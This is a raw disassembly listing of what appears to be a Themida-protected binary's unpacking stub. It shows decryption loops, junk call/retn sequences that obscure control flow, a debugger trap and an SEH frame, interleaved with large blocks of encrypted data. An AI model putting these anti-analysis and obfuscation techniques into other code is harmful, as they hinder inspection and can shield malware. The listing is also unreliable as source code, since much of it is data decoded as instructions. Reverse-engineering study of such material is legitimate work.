dd 0EB1DFEC3h, 0B144830Ch, 35BD29D2h
; ---------------------------------------------------------------------------
sbb ah, ah
pop es
loc_5CFA1F: ; CODE XREF: Themida_:005CF5B4j
; Themida_:005CFA36j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5CFA1F
jmp short loc_5CFA70
; ---------------------------------------------------------------------------
loc_5CFA3A: ; CODE XREF: Themida_:005CF558j
; Themida_:005CFA51j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5CFA3A
jmp short loc_5CFA70
; ---------------------------------------------------------------------------
loc_5CFA55: ; CODE XREF: Themida_:005CF57Ej
; Themida_:005CFA6Cj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5CFA55
jmp short $+2
loc_5CFA70: ; CODE XREF: Themida_:005CFA38j
; Themida_:005CFA53j
mov eax, eax
mov [ebp+7E41CB9h], ebx
push 0
push ebx
call sub_5CFA83
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFA83 proc near ; CODE XREF: Themida_:005CFA7Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5CFA83 endp
; ---------------------------------------------------------------------------
mov ah, 0B3h
wait
cmp dword ptr [ebp+7E422B9h], 3
jnz loc_5CFE57
push 0
push eax
call sub_5CFAAE
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFAAE proc near ; CODE XREF: Themida_:005CFAA6p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5CFAAE endp
; ---------------------------------------------------------------------------
dw 0F0FAh
dd 9E96369Bh, 0BE96033h, 0B6000000h, 326E97Ah, 0B93A57B1h
dd 8B6623ABh, 0BD8361C6h, 7E7F8A5h, 70840F00h, 60000003h
dd 22EBD1BFh, 0C18B663Ah, 0A5B5FF61h, 0E907E7F8h, 0Bh
dd 0CC923AB6h, 3F3071EDh, 0FF6A830Ah, 0E4044D95h, 51BBF07h
dd 0B58B0383h, 7E7F899h, 0BBBCEF81h, 6C74912h, 10001h
dd 1E65BD8Bh, 0E85007E4h, 5, 7D4E7B03h, 8ABF6680h, 34895B62h
dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 7C814869h, 689EBD65h, 8D8960A8h, 7E40A79h
dd 1409858Bh, 0FF6107E4h, 0E7F8A5B5h, 53006A07h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0BF770F51h, 1D844A5Ah, 2099BD8Bh, 95FF07E4h, 7E42A09h
dd 2701BD8Bh, 0B58B07E4h, 7E7F899h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 0B3C35545h, 48BAEEFCh, 8BB3D138h
dd 65858BDAh, 0F07E431h, 8689FAB7h, 0C4h, 80D3EB80h, 958B8AF7h
dd 7E41B71h, 5E9h, 41A50900h, 0C2838C0Eh, 0ED51BF04h, 508930ADh
dd 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0C7CE248Eh, 0A3F34D25h, 2F05B529h, 858D07E4h
dd 7E80CD4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0D7C35343h, 29F58D09h, 868907E4h, 0B8h, 10840Fh
dd 0BE90000h, 44000000h, 55199A0Ah, 6EDB60B2h, 6A2829h
dd 0A5B5FFFCh, 5307E7F8h, 5FD98B66h, 31AD95FFh, 0BD8B07E4h
dd 7E409F1h, 70BB6650h, 24348944h, 12E8h, 88D47400h, 5D5B743Ah
dd 4FD093DFh, 4154294h, 0E879CD38h, 11h, 5723E0C1h, 0C8944DACh
dd 0B3C8F215h, 0F5D2FC57h, 9E93Ah, 0D6BC0000h, 6BFB707Ch
dd 5FE1362Ch, 0CE95Fh, 0B8930000h, 0A1F0C024h, 87602E08h
dd 0B5FF3A0Eh, 7E7F8A5h, 0DE9h, 5C339500h, 0FF42A668h
dd 0B64D66D2h, 95FF37D7h, 7E41B11h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0EAC35141h, 0F1680D93h, 5F0ED217h
dd 2820F4Ch, 8B000000h, 0D18D31D8h, 8307E431h, 0E40DF9BDh
dd 840F0007h, 3Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 26C35646h, 5949258Bh, 0E8213973h, 0Bh
dd 1ED6DEEAh, 7222373Dh, 0FC4D3630h, 0DA8B505Bh, 0FF243489h
dd 0E7F8A5B5h, 0F5BD0307h, 0FF07E421h, 0E4027D95h, 65B52907h
dd 907E400h, 0E40AD18Dh, 0A5B5FF07h, 6A07E7F8h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 4581C356h, 3572B953h, 0A465D20h, 8AFB8B66h, 7195FFD8h
dd 8307E409h, 0E40A21BDh, 840F0207h, 4Ah, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 19h, 0FBC35040h, 930BC392h
dd 919D295Ch, 5707E430h, 9565BB66h, 0B5858B5Fh, 0F07E41Eh
dd 0C6DFB7h, 8870F00h, 56000000h, 15D9BD8Bh, 805B07E4h
dd 85C7B5F3h, 7E42671h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5CFE3B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFE3B proc near ; CODE XREF: Themida_:005CFE33p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5CFE3B endp
; ---------------------------------------------------------------------------
db 73h
; ---------------------------------------------------------------------------
movsd
xchg eax, ebx
db 36h
mov esi, 519D8B9Fh
add esp, esp
pop es
loc_5CFE57: ; CODE XREF: Themida_:005CFA9Dj
jmp near ptr dword_5CF0DC+3Ah
; ---------------------------------------------------------------------------
cmc
mov eax, ecx
xor bl, 78h
lea eax, [ebp+7E40D85h]
push 0
push eax
call sub_5CFE73
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFE73 proc near ; CODE XREF: Themida_:005CFE6Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5CFE73 endp
; ---------------------------------------------------------------------------
push 8950BC58h
add al, 24h
push 0
push eax
call sub_5CFE95
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CFE95 proc near ; CODE XREF: Themida_:005CFE8Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5CFE95 endp
; ---------------------------------------------------------------------------
db 0A2h, 0A0h, 52h
dd 6E473FA3h, 0DE8C5DDh, 6E000000h, 3D968738h, 0FDCBA7FFh
dd 8020220Dh, 6A5FF5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 2CC35040h, 254EB3F1h, 0A8C0BB66h, 8E9h
dd 1E254E00h, 14573BB2h, 6A006A98h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0C0BEC355h
dd 6A81AE0Ah, 858D7970h, 7E8DC2Ah, 22B58D89h, 0C08307E4h
dd 11E99005h, 0C9000000h, 5048C203h, 71CB0BFBh, 8A95C9A6h
dd 1A2960B0h, 95899050h, 7E418A9h, 13E9h, 0E678A600h, 0EEABDE39h
dd 19ED44EFh, 572F3DC6h, 260F9A18h, 0AE8006Ah, 0FC000000h
dd 0C73F2308h, 599EBC5Ch, 2D9D89EAh, 5F07E41Bh, 6A006Ah
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0F4BF07C3h, 0FF55738Ah, 0E4247195h, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 4B8D8DD2h, 0F07E7D6h, 0BD8BF8B7h, 7E42E11h, 6AD1FFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 618283C3h, 2015BD83h, 0F0107E4h, 0BC85h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0EE95C28h, 0AF000000h, 1DAB0340h, 59FB0EF6h, 0FD812B6Dh
dd 6A026ABBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 3A42C357h, 0FF898C6h, 2CBFFABFh
dd 50713310h, 58C0F60h, 0B8000000h, 344CE007h, 24048961h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E2C35545h
dd 0DD76680Ch, 0AD95019Dh, 0FF07E419h, 0E431AD95h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0E3508015h, 8BDA82D2h, 0DDFE9D9h, 0E80000h, 5D000000h
dd 0DC34ED81h, 0EE907E8h, 65000000h, 0C1251358h, 63A0195Fh
dd 0DADFCE2Ch, 0D99D8BF3h, 8D07E423h, 0E7C6E185h, 6650F907h
dd 89C6D2BBh, 0E6BB2404h, 647ED838h, 35FFh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0BD8BACC3h, 7E42409h, 258964h, 0F000000h, 68Ah, 15BD8B00h
dd 0FF07E421h, 0E420B985h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD8919B1h
dd 7E42D11h, 0FE8h, 19D9500h, 0A85FCA2Dh, 17B4CCAh, 0A9A09F63h
dd 6860Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
pop edi
push 0FFFFFFFFh
push 0
push edi
call sub_5D0186
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D0186 proc near ; CODE XREF: Themida_:005D017Ep
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5D0186 endp
; ---------------------------------------------------------------------------
dw 0AA31h
; ---------------------------------------------------------------------------
clc
int 3 ; Trap to Debugger
mov bx, si
js loc_5D01A7
mov di, 1FBBh
loc_5D01A7: ; CODE XREF: Themida_:005D019Dj
push dword ptr [ebp+7E41E15h]
mov [ebp+7E42185h], ecx
mov [ebp+7E42021h], esi
call dword ptr [ebp+7E4304Dh]
jmp loc_5D02A2
; ---------------------------------------------------------------------------
dd 7DB300B0h, 9D8B70E6h, 7E423C9h, 10E971E4h, 33000000h
dd 2187991Ah, 3DDBA52Bh, 0DDAF2CD2h, 3C9A4A1Ch, 0B3830F61h
dd 66000000h, 0F89B5BBh, 0B589C8B6h, 7E40139h, 6BAh, 0CBBF6600h
dd 0E9C18B93h, 10h, 3E19F5ABh, 0E5D2CC49h, 4910B764h, 0EE55C9Eh
dd 8904E8C1h, 0E4230995h, 0E2F76607h, 1AD5B501h, 0C82B07E4h
dd 2B68B0BFh, 66D18B00h, 75A2E381h, 0FF37BB66h, 9E9h, 3870F00h
dd 66000000h, 858BF98Bh, 7E403F1h, 5AD9D8Bh, 0C08307E4h
dd 85BD8B07h, 8307E427h, 0D03B00C0h, 9830Fh, 5B500000h
dd 2DE9h, 8B29B300h, 0E405558Dh, 1E18307h, 1C840Fh, 9D890000h
dd 7E40B89h, 555A583h, 66FE07E4h, 899EAABFh, 0E403F195h
dd 0E907h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D02A2: ; CODE XREF: Themida_:005D01BFj
lea esi, [ebp+7E856A0h]
push 0
push edi
call sub_5D02B3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D02B3 proc near ; CODE XREF: Themida_:005D02ABp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5D02B3 endp
; ---------------------------------------------------------------------------
retn 6Ah
; ---------------------------------------------------------------------------
jg loc_5D02D2
mov ebx, [ebp+7E418C5h]
loc_5D02D2: ; CODE XREF: Themida_:005D02C6j
call dword ptr [ebp+7E40E41h]
push 0
push edx
call sub_5D02E3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D02E3 proc near ; CODE XREF: Themida_:005D02DBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5D02E3 endp
; ---------------------------------------------------------------------------
db 5Bh
dd 510FDB1Fh, 0BDB9EF2Eh, 6A000007h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8D3EC355h
dd 85B01516h, 96682C65h, 0FFCE183h, 0F9FCFEBFh, 0B8h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 8B9B0CE3h, 0E41CD99Dh, 0BA07h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DF2CE2C3h
dd 0E38166A8h, 0BB66C607h, 0BF66D0B4h, 33ADAE5Eh, 3E8D1C2h
dd 4E983D0h, 850FF475h, 5, 0BE85C5BBh, 7E95Fh, 2ECA0000h
dd 15BC6912h, 51006ADEh, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0E753CBDDh, 16C7A964h, 0B185892Fh
dd 0D07E418h, 88h, 0E380DA8Ah, 71958B8Ah, 8B07E41Bh, 0E41EC1BDh
dd 0A18D8B07h, 6A07E42Dh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 94CEC352h, 8B6658F3h
dd 0C28B50F8h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh
dd 0E41495BDh, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0CBCEE0F6h, 611BD83h
dd 0F0007E4h, 6884h, 6FD78100h, 0B874CEF1h, 0
; ---------------------------------------------------------------------------
or [ebp+7E40E29h], esi
lea ecx, [ebp+7E44FE7h]
push 0
push ebp
call sub_5D0477
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D0477 proc near ; CODE XREF: Themida_:005D046Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5D0477 endp
; ---------------------------------------------------------------------------
xchg eax, esi
dec esi
xor ah, [esi-45h]
aam 32h
jg loc_5D049A
mov edi, [ebp+7E42D11h]
loc_5D049A: ; CODE XREF: Themida_:005D048Ej
jmp ecx
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5D04A7
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D04A7 proc near ; CODE XREF: Themida_:005D049Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5D04A7 endp
; ---------------------------------------------------------------------------
db 37h
dd 0CF444D8h, 0B9BD83DAh, 7E422h, 498840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 63BF41C3h, 0F88B6A3Dh, 22B9BD83h, 0F0107E4h, 48484h
dd 8D853100h, 8307E430h, 0E422B9BDh, 860F0307h, 43Bh, 0BD8B60FCh
dd 7E42C41h, 0FD98C66h, 381h, 0D98B6600h, 6A04E180h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 5BAAC350h, 0F3754FBh, 0C90ADEB7h, 194840Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0B70FA4C3h, 51858BDEh, 6A07E406h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 701EC350h
dd 20298533h, 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 4ED552C3h, 9771CAB7h, 8A0FD563h
dd 1Bh, 12E8h, 2F19E400h, 14083773h, 0A06B20Bh, 8F75F034h
dd 0F13FBF8h, 2B5FDFBFh, 0E418FD9Dh, 0E18D8907h, 9007E413h
dd 7E9h, 87022F00h, 90B1D280h, 8BF6650h, 6A90AAh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0B7F086C3h, 0A74CD64Ch, 0FE91A0Eh, 5C000000h, 89EDD51h
dd 0E1534D85h, 2F10D72h, 6AA5A9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 35C35040h, 1A6F3BEAh, 0A3E4AF1Dh
dd 207D8589h, 4E807E4h, 0FF000000h, 0B3001F03h, 448B50FAh
dd 0D98B0424h, 8B66008Bh, 244489DEh, 0C4BB6604h, 0FE8584Eh
dd 9B000000h, 694CC070h, 3E4EEA66h, 675BF610h, 9D8B73CFh
dd 7E432A9h, 9995FF5Fh, 6A07E42Dh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 1212C353h
dd 1B9D9D8Bh, 858907E4h, 7E7F8A5h, 8D89D98Bh, 7E409E1h
dd 1C3E9h, 0E6BA6000h, 89531336h, 0E431E18Dh, 858B6107h
dd 7E7F89Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0FDC35343h, 1800C7A5h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E922C352h
dd 11h, 817EF96Ch, 0BD605DAh, 0C74B524h, 0E7C6F35Ah, 0A1B58B61h
dd 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0E1E6C356h, 2907870Fh, 0E401F585h
dd 858BF807h, 7E40099h, 5059501h, 68907E4h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5DC35343h, 8659824Bh
dd 1953155h, 107E427h, 0E42AA58Dh, 51858B07h, 6A07E406h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 0A541C350h, 69BE009h, 0B3619281h, 359D2958h
dd 8907E42Ah, 9D290446h, 7E4272Dh, 0BBBF6696h, 8996507Bh
dd 0E4070185h, 0FB8B6607h, 0F89DB5FFh, 0F0BB07E7h, 892D2A8Ah
dd 0E432F185h, 27D66807h, 0F6082DEh, 28Ah, 60D78B00h, 61615953h
dd 29240481h, 8B7D40DCh, 0E414A5BDh, 0DAB70F07h, 0F8A5858Dh
dd 6A07E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0E8E466C3h, 0E76D5D31h, 68E0FAEh, 89000000h
dd 0E42DC9B5h, 0CE95007h, 86000000h, 68FE37Bh, 47B6BD0Dh
dd 8958CEAFh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 28AFD1C3h, 2D9995FFh, 0BD3307E4h
dd 7E40AF1h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 0BC8B0F35h, 0E309263Fh, 1830Fh, 0C7FC0000h
dd 0E422B985h, 307h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 9D89D676h, 7E429F1h, 0F8A5BD83h
dd 0F0007E7h, 4A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 950951F4h, 7E40A8Dh, 3DE9h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0D9BD8B9Dh, 5007E417h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0B8281FC3h
dd 8960C463h, 0E413A18Dh, 0A5B58B07h, 6107E405h, 25A99D31h
dd 0BD8307E4h, 7E422B9h, 92850F03h, 0E9000004h, 0Fh, 429E17ADh
dd 3EF27B47h, 9837036Ch, 83E67CACh, 0E7F8A5BDh, 840F0007h
dd 471h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 43C35141h, 0EBB9FA51h, 674AE348h, 0A5B5FFC4h, 0F07E7F8h
dd 684h, 0B5EB8100h, 0FF21FC10h, 0E4044D95h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 10E90AE2h, 58000000h, 28A7D649h, 4704CAD0h, 3E50B9Dh
dd 8B0639FEh, 0E7F899B5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 6C7DF02h, 10001h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0AC35040h
dd 8BDD2517h, 0E42D81BDh, 96DF8B07h, 0AE86053h, 0FF000000h
dd 0E94A85DFh, 0C12607D6h, 5F61595Ah, 0FE8B6650h, 89505296h
dd 0E407AD95h, 535B5B07h, 0FB8B6651h, 0B5FF5B5Fh, 7E7F8A5h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BBC35747h
dd 6FD2BE13h, 0BD8B560Bh, 7E41275h, 995FF5Bh, 6A07E42Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 0CE2DC350h, 76118E2Eh, 8D8938E4h, 7E407ADh
dd 0F899B58Bh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0B3C8F2C3h, 0F5D2FC57h, 0BF66503Ah
dd 8B5B735Bh, 0E4316585h, 0DFB70F07h, 0C48689F8h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 4DE4C356h, 8B66AE3Ch, 71958BDAh, 107E41Bh
dd 0E41F11BDh, 4C28307h, 0FE9h, 9CA00C00h, 32D61AEEh, 1BD232B5h
dd 0FB914BFAh, 28D0Fh, 0DF8B0000h, 6A205089h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 257C356h, 0D9B9781Fh, 40C783FDh, 0B0D9D8Bh, 858D07E4h
dd 7E80CD4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 1DC35747h, 0DF2BF3B5h, 9D2BF511h, 7E431A9h, 192D9D89h
dd 868907E4h, 0B8h, 0C51EF0BBh, 0F096BF7Eh, 6A2038h, 0F18589h
dd 0B5FF07E4h, 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 34C35545h, 0FD125AC5h, 0AD95FFCEh, 0E807E431h
dd 5, 47DCEE86h, 5BB1B365h, 50DA8B96h, 2FBBBB60h, 0FFB5659Ch
dd 12E99661h, 4000000h, 0EA781AB0h, 75A2E360h, 92C5BCB9h
dd 0FB87833Dh, 0A5B5FFE0h, 6A07E7F8h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 68FBC350h
dd 0CFE6E65Fh, 0CB81BBF8h, 24BEC559h, 1B1195FFh, 0BD8B07E4h
dd 7E40925h, 0DF9BD83h, 0F0007E4h, 7884h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0BCF261B5h, 360C10D4h, 0AE8h, 44947900h, 0E31FB370h
dd 0E9C90613h, 14h, 980036CDh, 0E16AA8FFh, 706450EBh, 0D3EF5393h
dd 5BA9F0D8h, 8B66965Fh, 0BB6650DAh, 6A96E2E6h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 4802C356h, 6881010h, 0A5B5FFA0h, 8907E7F8h, 0E426C9B5h
dd 0F7816607h, 95FF0380h, 7E4027Dh, 0F8A5B5FFh, 6A07E7h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 73A593C3h, 0F19D8B52h, 5F07E419h, 97195FFh, 6A07E4h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0CF4993C3h, 5798529h, 0BD8307E4h, 7E40A21h, 62840F02h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 28E0C353h, 24473513h, 8B1632B1h
dd 0E423899Dh, 0B5858B07h, 0BF07E41Eh, 6227F8C6h, 6A0000C6h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 0F77AC353h, 39F5CB3Fh, 8B36F203h, 0E405F99Dh
dd 7185C707h, 7E426h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0ADFCC350h, 0F307E909h
dd 0D0BBFFFFh, 8B08298Eh, 50006AC1h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0EF00C301h
dd 85858DF5h, 6A07E40Dh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 7E47C352h, 95903ABBh
dd 9E9502Fh, 92000000h, 64631886h, 0FDDC4C25h, 0F240489h
dd 6AFABFh, 0BA5B509h, 6A07E4h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 6EC35646h, 95898114h, 7E41945h
dd 0EBCB858Dh, 6A07E8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 9A9250C3h, 843FEA11h, 5C083D4h
dd 0E3D8531h, 665007E4h, 8999CDBBh, 6A2404h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0FB658AC3h
dd 860F660Eh, 6, 20998589h, 6A07E4h, 0BD23DE8Bh, 7E41275h
dd 8166006Ah, 0FF3A90E3h, 0E4247195h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0F549AB6Fh, 273062BFh, 4B8D8D0Eh, 0BB07E7D6h, 2FE2B517h
dd 8B56D1FFh, 0E42B099Dh, 0F605F07h, 38Dh, 0F08B6600h
dd 53ECB866h, 15BD8361h, 107E420h, 80850Fh, 9D8B0000h
dd 7E407A1h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0D78166C3h, 311FC996h, 0FE68BB90h
dd 50505696h, 0FF98B52h, 3BB6631h, 90585A45h, 6E8h, 0C99C7100h
dd 0B8C7FF3h, 0E42FA59Dh, 95FF5F07h, 7E431ADh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h, 0E956F954h
dd 6, 11048C94h, 0FE947ACh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E8EBD5h
push 0
push edx
call sub_5D1072
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1072 proc near ; CODE XREF: Themida_:005D106Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5D1072 endp
; ---------------------------------------------------------------------------
dw 8EB6h
dd 6AB4F2E9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 84F5C352h, 56EC00CAh, 9E9h, 7EDF5200h
dd 0E5D8CE2Fh, 8D5B78F2h, 0E7C6E185h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 2303F887h, 6676DAC8h, 17B3D88Bh, 60536050h, 52505861h
dd 8E0Fh, 310F0000h, 310F5250h, 585A585Ah, 24048961h, 0B055D9BFh
dd 35FF6421h, 0
; ---------------------------------------------------------------------------
pusha
xor [ebp+7E41815h], esi
jmp loc_5D1120
; ---------------------------------------------------------------------------
dd 0CBB28E71h, 1B9E2E9Eh
; ---------------------------------------------------------------------------
loc_5D1120: ; CODE XREF: Themida_:005D1113j
popa
mov large fs:0, esp
push 0
push esi
call sub_5D1133
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1133 proc near ; CODE XREF: Themida_:005D112Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5D1133 endp
; ---------------------------------------------------------------------------
db 0D7h
dd 572D7C89h, 80DD4B86h, 85FFD88Ah, 7E420B9h, 2C31BD89h
dd 0FF6A07E4h, 926AA2BBh, 0CE865h, 3C890000h, 9D7BC8CAh
dd 0BE788E17h, 9D8B02E9h, 7E420F1h, 0EDB5FF5Fh, 6A07E40Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0FB1C350h, 95FFDEB7h, 7E4304Dh, 123E9h, 0DEB70F00h
